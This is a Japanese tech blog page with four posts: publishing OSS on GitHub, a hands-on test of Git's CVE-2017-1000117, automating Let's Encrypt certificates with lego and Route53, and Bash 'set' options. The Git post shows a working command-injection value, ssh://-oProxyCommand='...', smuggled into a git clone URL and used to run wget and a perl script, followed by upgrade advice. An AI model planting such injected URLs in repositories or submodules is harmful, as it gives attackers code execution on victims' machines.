ハラミTech

技術ネタなど

OSSの公開のやり方をまとめてみた

OSSOpen Source Software)を公開したいとき、
どうやって公開するのかいまいち理解していなかったので、ここにまとめたいと思います。

前提

GitHubでの公開を前提としています。

必要なもの

最低限必要なものは以下です。

ソースコード

当然ですが、ソースコードが必要です。
テストコードもあればほかの人からも触りやすくなるのではないかと思います。

Go言語などはビルドするとバイナリが生成されますが、
バイナリは差分管理できないので、コミットするごとにリポジトリサイズが増大してきます。
必要がなければバイナリファイルはコミットしないほうがよいでしょう。

README

READMEを書く意義

ソースコードの説明書でもある「README」ファイルは必ず用意したほうがよいです。
ソースコードだけでは、

  • このOSSで実現できること
  • どうやって使うのか

がわかりません。
ソースコードを見ればわかる」かもしれませんが
OSSで公開するということは誰かに使ってほしい ということだと思うので
それを意識するなら、READMEは必須といえるでしょう。

書き方

まずREADMEファイルの拡張子についてですが、GitHubでは様々な拡張子が対応しているようです。
好みでいいと思いますが、自分はMarkdownが書きやすいので「.md」で作成します。

続いてフォーマットについてです。
どういう感じにREADMEを書いたらいいのかというのは悩むところだと思います(自分もです…)

参考に人気が高いOSSのREADMEを色々見て、最低限これがあればいいなというテンプレートを作りました。

# Name
Overview

## Description

## Example

## Usage

## Installation

## License
Please see the LICENSE file for details.
[URL]

## Author
Full Name(GitHub Profile URL)

それぞれの項目について説明していきます。
ちなみにすべて英語で書きましょう…!

Name - Overview

名前と概要を記載します。

なにを目的として作ったものなのかがわかる程度の内容でいいと思います。

Description

概要より一歩踏み込んだ説明をしたい場合、Descriptionに記載します。
アーキテクチャの説明などをしているケースが多いようです。

Example

使い方の例を記載します。
この例がないOSSもたくさんあるようですが、この例があるほうがよりどういう性質のOSSなのかが伝わりやすいと思いました。

コマンドラインツールなら、そのコマンドの実行例。
Webアプリケーションなら、実際に使っている様子のGif画像があるとより直感的だと思います。

Usage

ここには使い方を記載します。

コマンドラインツールの場合は、オプションの指定方法やその内容などを記載します。
個人的には「lltsv」のUsageが簡単でわかりやすいと思いました。

GitHub - sonots/lltsv: List specified keys of LTSV (Labeled Tab Separated Values)

Installation

インストール方法を記載します。
例えばGo言語の場合はこんな感じです。

go get -u github.com/aws/aws-sdk-go
License

後述しますが、License表記について説明します。
License表記については別途LICENSEファイルとしてコミットするので、
ここでは「このファイル見てね!」と記載すればよいでしょう。

Author

自分の名前を記載します。

ライセンス表記

自分が作ったプロダクトをOSSとして公開する場合、ライセンスが必要となります。

必要な理由は

  • OSSの利用・修正を他人にしてもらうため
  • 自分を守るため

特に記載がない場合は、著作権法により、自分が作ったソースを他人が使用したり改変できないです。

また 「自分が作成したOSSでなにか問題が起きた場合でも、自分は一切責任を負いません。」と宣言することにより
訴訟などのリスクから自分を守るために、ライセンス表記が必要です。

自分が主張したいことにより、どのライセンスを選択するのかが変わってきます。
どうやって選択していくかは下記が非常に参考になりました。

Githubによる、オープンソースライセンスの選び方 | オープンソース・ライセンスの談話室

ライセンスの種類は下記が詳しかったです。

たくさんあるオープンソースライセンスのそれぞれの特徴のまとめ | コリス

自分の場合は、特になにか主張したこともないので、MITライセンスを選択します。

いずれのライセンスを選ぶにせよ、ライセンスに記載されている内容はよく確認したほうがよいでしょう。
MITライセンスの場合、こちらの記事が参考になりました!

MITライセンスを1行1行読んでいく | プログラミング | POSTD

MITライセンスは、以下からコピーして「LICENSE」ファイルとして
READMEファイルと同じ階層に置いておきましょう。

https://spdx.org/licenses/MIT

最後に

という感じでOSSの公開のやり方についてまとめてみました。

ただGitHubにソース置いとけばおk!というわけではなく、
他人が利用するために様々なことをしないといけないというのを改めて感じました。

Gitの脆弱性(CVE-2017-1000117)について調べてみた

8/11にGitの脆弱性 ( CVE-2017-1000117 )が発生しました。

oss.sios.com

内容はこうです。

gitクライアント上での任意のコマンド実行の可能性

Gitでの"ssh"URLハンドリングにshellコマンドインジェクションの欠陥が見つかりました。 これを利用して、悪意のあるレポジトリや悪意のあるコミットを行われたを レポジトリに対して"clone"アクションをGitクライアントで実行した際に、 Gitクライアントを実行したユーザの権限でshellコマンドを実行される可能性が有ります。

どうやらsshのURL部にOSコマンドインジェクションを埋め込めるようです。

脆弱性を確認する

では試してみます。

$ git --version
#git version 1.9.1

$ git clone ssh://-oProxyCommand='wget www.google.co.jp'/hoge

#Cloning into 'hoge'...
#Pseudo-terminal will not be allocated because stdin is not a terminal.
#--2017-08-15 05:06:18--  http://www.google.co.jp/
#Resolving www.google.co.jp (www.google.co.jp)... 216.58.221.3, 2404:6800:4004:814::2003
#Connecting to www.google.co.jp (www.google.co.jp)|216.58.221.3|:80... connected.
#HTTP request sent, awaiting response... 200 OK
#Length: unspecified [text/html]
#Saving to: ‘index.html’
#
#    [ <=>                                                                                                                                                                                                ] 10,643      --.-K/s   in 0s      
#
#2017-08-15 05:06:18 (301 MB/s) - ‘index.html’ saved [10643]
#
#ssh_exchange_identification: Connection closed by remote host
#fatal: Could not read from remote repository.
#
#Please make sure you have the correct access rights
#and the repository exists.

$ ls
#index.html

おっと、簡単にwget出来てしまいました。。

スクリプトも実行できるんでしょうか? perlで以下のようなスクリプトを作ってみます。

#!/usr/bin/perl

open(FILE, '> /tmp/hoge');
print FILE "hoge";
close(FILE);

これを実行できるか試してみます。

$ git clone ssh://-oProxyCommand='perl test.pl'/hoge

#Cloning into 'hoge'...
#Pseudo-terminal will not be allocated because stdin is not a terminal.
#fatal: Could not read from remote repository.
#
#Please make sure you have the correct access rights
#and the repository exists.

$ cat /tmp/hoge
#hoge

perlも簡単に実行できました。

こんなリポジトリ名なら、普通Cloneしないと思いますが、
同じようなことがGitサブモジュールでも出来るようなので
仕組まれていたら気づかない可能性もあります。

なので、Gitのバージョンアップは早めにやっちゃいましょう!

Gitのバージョンアップ方法

環境はUbuntuです。

$ sudo apt-get update
$ sudo apt-get install git git-man

# 確認
$ sudo dpkg -l | grep git

Let's EncryptのDNS認証による証明書発行/更新の自動化をやってみた

Let’s Encryptは、無料で取得できる証明書で、自動化が簡単にできます。
Let’s Encryptから証明書を取得する際、
一般的には「http-01」または「tls-sni-01」チャレンジがよく使用されると思いますが、
サーバーの80(または443)ポートを開放しないといけません。
インターネットに公開したくないサーバーの場合、常時そのポートを開けておくわけにはいきません。

そのため、初回の証明書取得時は自動で証明書を取得できるのですが
証明書の更新のたびにポートを開放して手動でLet’s Encryptのコマンドを叩く…などの運用をしていました。。

更新も自動化したいし、でもインターネットには公開したくないしと調べてみたところ、
dns-01チャレンジによる完全自動化ができるようになったので、試してみたいと思います。

今回は公式のLet’s Encryptクライアント(certbot)を使用せず、
Go言語で書かれたLet’s Encryptクライアント「Lego」を使用していきます。

github.com

前提

実行環境

OS: Ubuntu16.04(AWS)
DNS: Route53

DNSについて

事前にテスト用のドメインがRoute53に設定済みであること。

DNS認証とは

DNS認証というよりはLet’s Encryptの仕組みですが、以下を参照してください。

Let's Encrypt の仕組み - Let's Encrypt 総合ポータル

Legoのインストール

Go言語ですので、Goが使える環境の方は以下のコマンドでバイナリファイルを取得してください。

$ go get -u github.com/xenolf/lego

Goのビルド環境がない方や、バイナリファイルのみ欲しい方は
以下のコマンドでバイナリファイルのみ取得できます。

$ wget https://github.com/xenolf/lego/releases/download/v0.4.0/lego_linux_amd64.tar.xz

$ xz -dc lego_linux_amd64.tar.xz | tar xfv -
$ mv lego_linux_amd64 lego

# Pathが通ってるところに移動
$ mv lego /usr/local/bin/lego

証明書を発行するサーバー上にこのlegoバイナリファイルが存在する必要があります。

IAM Userの作成

クライアントサーバーからRoute53の操作が出来なければならないので
その操作のためのIAM Userを作成します。

以下のポリシーを持ったIAM Userを作成し、AWSアクセスキーやシークレットキーを取得してください。
IAM Roleでも同様の設定を行うことができるので、使えるならIAM Roleを使うほうがアクセスキーなどの管理がなく楽だと思います。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "route53:GetChange",
                "route53:ListHostedZonesByName"
            ],
            "Resource": [
                "*"
            ]
        },
        {
            "Effect": "Allow",
            "Action": [
                "route53:ChangeResourceRecordSets"
            ],
            "Resource": [
                "arn:aws:route53:::hostedzone/<INSERT_YOUR_HOSTED_ZONE_ID_HERE>"
            ]
        }
    ]
}

証明書の発行

  • legoコマンドの用意
  • IAM User(またはIAM Role)の用意

が完了したので、これで証明書の発行ができるようになりました。

ではやってみましょう!

# 以下の環境変数はIAM Roleを使用している場合は不要
$ export AWS_REGION=<aws region>
$ export AWS_ACCESS_KEY_ID=<your aws access key id>
$ export AWS_SECRET_ACCESS_KEY=<your aws secret key>

$ sudo lego --accept-tos \
          --path=/etc/letsencrypt \
          --email="<your email address>" \
          --dns="route53" \
          --domains="<your site domain>" \
          run

#2017/08/12 05:31:20 [INFO][example.com] acme: Obtaining bundled SAN certificate
#2017/08/12 05:31:20 [INFO][example.com] AuthURL: https://acme-v01.api.letsencrypt.org/acme/authz/xxxxxxxxxxxxxxx
#2017/08/12 05:31:20 [INFO][example.com] acme: Could not find solver for: tls-sni-01
#2017/08/12 05:31:20 [INFO][example.com] acme: Could not find solver for: http-01
#2017/08/12 05:31:20 [INFO][example.com] acme: Trying to solve DNS-01
#2017/08/12 05:32:04 [INFO][example.com] Checking DNS record propagation using [xxx.xxx.xxx.xxx:53]
#2017/08/12 05:32:06 [INFO][example.com] The server validated our request
#2017/08/12 05:32:49 [INFO][example.com] acme: Validations succeeded; requesting certificates
#2017/08/12 05:32:49 [INFO] acme: Requesting issuer cert from https://acme-v01.api.letsencrypt.org/acme/issuer-cert
#2017/08/12 05:32:49 [INFO][example.com] Server responded with a certificate.

–pathで指定したディレクトリに証明書ファイルが出力されています。

$ ls -l /etc/letsencrypt/certificates/

#-rw------- 1 root root 3452 Aug 12 05:32 example.com.crt
#-rw------- 1 root root 1647 Aug 12 05:32 example.com.issuer.crt
#-rw------- 1 root root  230 Aug 12 05:32 example.com.json
#-rw------- 1 root root 1675 Aug 12 05:32 example.com.key

crtとkeyファイルをNginxやApacheで読み込ませれば使用できます。

証明書の更新

発行時に使用したコマンドとほぼ同じです。

$ sudo lego --accept-tos \
          --path=/etc/letsencrypt \
          --email="<your email address>" \
          --dns="route53" \
          --domains="<your site domain>" \
          renew

#2017/08/12 05:41:03 [INFO][example.com] acme: Trying renewal with 2158 hours remaining
#2017/08/12 05:41:03 [INFO][example.com] acme: Obtaining bundled SAN certificate
#2017/08/12 05:41:03 [INFO][example.com] AuthURL: https://acme-v01.api.letsencrypt.org/acme/authz/xxxxxxxxxxx
#2017/08/12 05:41:03 [INFO][example.com] acme: Authorization already valid; skipping challenge
#2017/08/12 05:41:03 [INFO][example.com] acme: Validations succeeded; requesting certificates
#2017/08/12 05:41:04 [INFO] acme: Requesting issuer cert from https://acme-v01.api.letsencrypt.org/acme/issuer-cert
#2017/08/12 05:41:04 [INFO][example.com] Server responded with a certificate.

証明書のファイルは同名で上書きされます。
上記コマンドに --days 30 を付与すると、証明書発行から30日以降のものを更新 となります。
cronなどに設定しておくとよいでしょう。

最後に

DNS認証のみで証明書の発行/更新ができました。
これで証明書の更新作業も完全に自動化できそうです。

ちなみに今回はAWSを前提にやってみましたが、legoでは様々なプラットフォームを想定しているようです。

$ lego dnshelp

#Credentials for DNS providers must be passed through environment variables.
#
#Here is an example bash command using the CloudFlare DNS provider:
#
#  $ CLOUDFLARE_EMAIL=foo@bar.com \
#    CLOUDFLARE_API_KEY=b9841238feb177a84330febba8a83208921177bffe733 \
#    lego --dns cloudflare --domains www.example.com --email me@bar.com run
#
#Valid providers and their associated credential environment variables:
#
#        azure:          AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_SUBSCRIPTION_ID, AZURE_TENANT_ID, AZURE_RESOURCE_GROUP
#        auroradns:      AURORA_USER_ID, AURORA_KEY, AURORA_ENDPOINT
#        cloudflare:     CLOUDFLARE_EMAIL, CLOUDFLARE_API_KEY
#        digitalocean:   DO_AUTH_TOKEN
#        dnsimple:       DNSIMPLE_EMAIL, DNSIMPLE_OAUTH_TOKEN
#        dnsmadeeasy:    DNSMADEEASY_API_KEY, DNSMADEEASY_API_SECRET
#        exoscale:       EXOSCALE_API_KEY, EXOSCALE_API_SECRET, EXOSCALE_ENDPOINT
#        gandi:          GANDI_API_KEY
#        gcloud:         GCE_PROJECT
#        linode:         LINODE_API_KEY
#        manual:         none
#        namecheap:      NAMECHEAP_API_USER, NAMECHEAP_API_KEY
#        rackspace:      RACKSPACE_USER, RACKSPACE_API_KEY
#        rfc2136:        RFC2136_TSIG_KEY, RFC2136_TSIG_SECRET,
#                        RFC2136_TSIG_ALGORITHM, RFC2136_NAMESERVER
#        route53:        AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION
#        dyn:            DYN_CUSTOMER_NAME, DYN_USER_NAME, DYN_PASSWORD
#        vultr:          VULTR_API_KEY
#        ovh:            OVH_ENDPOINT, OVH_APPLICATION_KEY, OVH_APPLICATION_SECRET, OVH_CONSUMER_KEY
#        pdns:           PDNS_API_KEY, PDNS_API_URL
#        dnspod:         DNSPOD_API_KEY
#
#For a more detailed explanation of a DNS provider's credential variables,
#please consult their online documentation.

AWSでサーバー運用されてる方もされてない方も、
legoを使用してLet’s Encryptの証明書の自動化をやってみてはいかがでしょうか!

Bash setを知る

なにげなくシェルの先頭に

set -eu

とおまじないのように付けてはいませんか?
setのことを知ると、よりシェルを便利に使えると思ったので、ちょっとsetを掘り下げていこうかなと思います。

setとは

シェルの属性の設定/解除を行うBashの組み込みコマンドです。
例えば、以下のようなsetをシェル冒頭に記述すると、コマンド実行時エラーが検出したら即座にシェルがexitします。

$ vim test.sh
------------------------
#!/bin/bash

set -e

ls -l hoge # 存在しないファイル
echo "test"
------------------------

# 上記シェル実行
$ ./test.sh

# set -eがない場合
#ls: cannot access hoge: No such file or directory
#test

# set -eがある場合(echo "test"が出力されない)
#ls: cannot access hoge: No such file or directory

このsetにはどんなオプションがあるのだろう?
それを調べてみます。

オプション

それぞれのオプションの詳しい動作を見ていきます。
ちなみにオプションがない場合は、設定されているシェル変数が全て表示されます。

また、移行のオプションは「-*」とハイフンで記述していきますが、「+*」とプラスで記述すると、その属性の設定が解除されます。

-a

export test=hoge としなくても、自動で変数などが環境にエクスポートするオプションです。

$ vim test.sh
------------------------
#!/bin/bash

set -a

a=hoge
b=$(bash test2)
echo ${b}
------------------------

$ vim test2
------------------------
echo ${a}
------------------------

$ ./test.sh

# set -aがない場合
#(なにも表示されない)

# set -aがある場合
#hoge

-b

バックグラウンドのジョブのステータス報告を即座に行ってくれるオプションです。

# まずはオプションを設定しないパターン
$ sleep 5s

# 5秒後にEnterキー
#[1]+  Done                    sleep 5s

# 次にオプションを設定するパターン
$ set -b
$ sleep 5s
# 5秒後に勝手に表示される
# [1]+  Done                    sleep 5s

-e(-E/-T)

上述した通り、シェル内でエラーが発生した場合、即座に終了するオプションです。

$ vim test.sh
------------------------
#!/bin/bash

set -e

ls -l hoge # 存在しないファイル
echo "test"
------------------------

# 上記シェル実行
$ ./test.sh

# set -eがない場合
#ls: cannot access hoge: No such file or directory
#test

# set -eがある場合(echo "test"が出力されない)
#ls: cannot access hoge: No such file or directory

さて、このオプションと組み合わせると便利なのが trap コマンドです。
指定されたシグナルを検知したら、指定のコマンドを実行してくれるコマンドです。
今回の場合はERRシグナルを対象とします。

$ vim test.sh
------------------------
#!/bin/bash

set -e

trap 'echo error!!' ERR

ls hoge # 存在しないファイル
echo test
------------------------

$ ./test.sh
#ls: cannot access hoge: No such file or directory
#error!!

とても便利なのですが、シェル関数やサブシェルでのエラーはERRシグナルとして検知してくれません。

$ vim test.sh
------------------------
set -e

trap 'echo error!!' ERR

function test_function() {
    ls hoge # 存在しないファイル
}

test_function

echo test
------------------------

$ ./test.sh
# trapのコマンドが実行されていない
#ls: cannot access hoge: No such file or directory

シェル関数やサブシェルでのエラーも検出したい場合は、
「-E」オプションを指定すると検出してくれるようになります。

$ vim test.sh
------------------------
set -eE

trap 'echo error!!' ERR

function test_function() {
    ls hoge # 存在しないファイル
}

test_function

echo test
------------------------

$ ./test.sh
#ls: cannot access hoge: No such file or directory
#error!!

今回の「-E」はERR疑似シグナルに対してですが
「-T」はDEBUGとRETURNに対して同様の働きをします。

-f

パス名展開を無効にするオプションです。
この字面だと意味がわかりませんが、ワイルドカード指定などができなくなります。

$ ls test*
#test  test2

$ set -f
$ ls test*
#ls: cannot access test*: No such file or directory

-k

引数に指定された代入文が、そのコマンドの環境変数となります。

$ vim test.sh
------------------------
#!/bin/bash
set -k
bash test2 TEST=hoge
------------------------

$ vim test2
------------------------
echo ${TEST}
------------------------

$ ./test1.sh
# set -kがない場合
#(なにも表示されない)

# set -kがある場合
#hoge

-m

ジョブ制御を有効にします。
システム上の対話的シェルではデフォルトで有効です。
これが有効だと、fg/bgコマンドがシェル内で使用できるようになります。

以下の例では、一時中断したものを再度実行しています。

$ sleep 60
# ここでCtrl+z
#[1]+  Stopped                 sleep 60

$ jobs
#[1]+  Stopped                 sleep 60

$ fg %1
#sleep 60

無効にすると当然ですが動きません

$ set +m
$ sleep 60
# ここでCtrl+zしても無反応

恥ずかしながらあまりジョブ制御について知らなかったので、調べてみたところ大変便利なものと気付きました。
ジョブ制御については別の機会に記事に出来ればと思います。

-n

コマンドを読み込みはしますが、実行はせず、構文エラーのみチェックします。

$ vim test.sh
------------------------
#!/bin/bash

set -e

touch hoge
function hoge() {
------------------------

$ ./test.sh
# ./test.sh: line 7: syntax error: unexpected end of file

-t

コマンドを1つ読み込み、実行後終了します。 いまいち使い所がわからない。。。

$ vim test.sh
------------------------
#!/bin/bash

# 「;」で区切らず、改行すると「set」コマンド実行後終了する…
set -t ; echo test
echo test2
------------------------

$ ./test.sh
# test

-u

設定されてない変数を展開しようとするとエラーが発生するようになります。

$ vim test.sh
------------------------
#!/bin/bash

set -u
echo ${test}
------------------------

$ ./test.sh
# set -u を指定しない場合
# (何も表示されない)
# set -u を指定している場合
# ./test.sh: line 4: test: unbound variable

-v/-x

入力されたコマンドを出力します。デバッグなどに便利です。
以下は「-v」の例です。

$ vim test.sh
------------------------
#!/bin/bash

set -v

for i in $(seq 1 3)
do
  echo ${i}
done
------------------------

$ ./test.sh
#for i in $(seq 1 3)
#do
#  echo ${i}
#done
#seq 1 3
#1
#2
#3

「-x」も同様にコマンドを出力するオプションなのですが、少し違います。

$ vim test.sh
------------------------
#!/bin/bash

set -x

for i in $(seq 1 3)
do
  echo ${i}
done
------------------------

$ ./test.sh
#++ seq 1 3
#+ for i in '$(seq 1 3)'
#+ echo 1
#1
#+ for i in '$(seq 1 3)'
#+ echo 2
#2
#+ for i in '$(seq 1 3)'
#+ echo 3
#3

はい、「-x」の場合はforが展開されています。
「-x」のほうがよりデバッグ用途に使いやすいかなと思います。

-B

ブレース展開を有効にします。デフォルトで有効です。
ブレース展開とは?というのは、下記の例を見てもらえればわかると思います。

$ vim test.sh
------------------------
#!/bin/bash

set -B
touch hoge{.1,.2}
------------------------

$ ./test.sh
$ ls -l hoge*
#hoge.1  hoge.2

という感じで展開されます。以下のようなこともできます。

$ vim test.sh
------------------------
#!/bin/bash

set -B
mkdir -p {test1,test2}/hoge/{fuga,piyo}
------------------------

$ ./test.sh
$ tree
#.
#├── test1
#│   └── hoge
#│       ├── fuga
#│       └── piyo
#├── test2
#│   └── hoge
#│       ├── fuga
#│       └── piyo
#└── test.sh

-C

リダイレクト演算子( > , >& , <> )で既存ファイルへの書き込みができなくなります。
ただし、「>|」と書くと上書きできます。

$ vim test.sh
------------------------
#!/bin/bash

set -C
touch hoge
# この書き方だと上書きできない
echo "test" > hoge
cat hoge

# この書き方ならできる
echo "test2" >| hoge
cat hoge
------------------------

$ ./test.sh
./test.sh: line 4: hoge: cannot overwrite existing file
test2

-P

シンボリックリンクに対してcdする際に、シンボリックリンクを辿らず、物理的ディレクトリ構造が使われるようになります。

$ mkdir test1
$ ln -s test1 test2
$ ls -l
# test1 test2
$ cd test2 ; pwd
# ~/test2
$ cd .. ; set -P ; cd test2 ; pwd
# ~/test1

最後に

一通りオプションを見てきましたが、
有用そうなのもあれば、何に使うかわからないものもチラホラありました。

結局は自分がどのようなものを作りたいかにより利用するオプションは当然変わってくると思いますが、
とりあえず

set -axueE

あたりを付けておけば便利になるかなと思いました。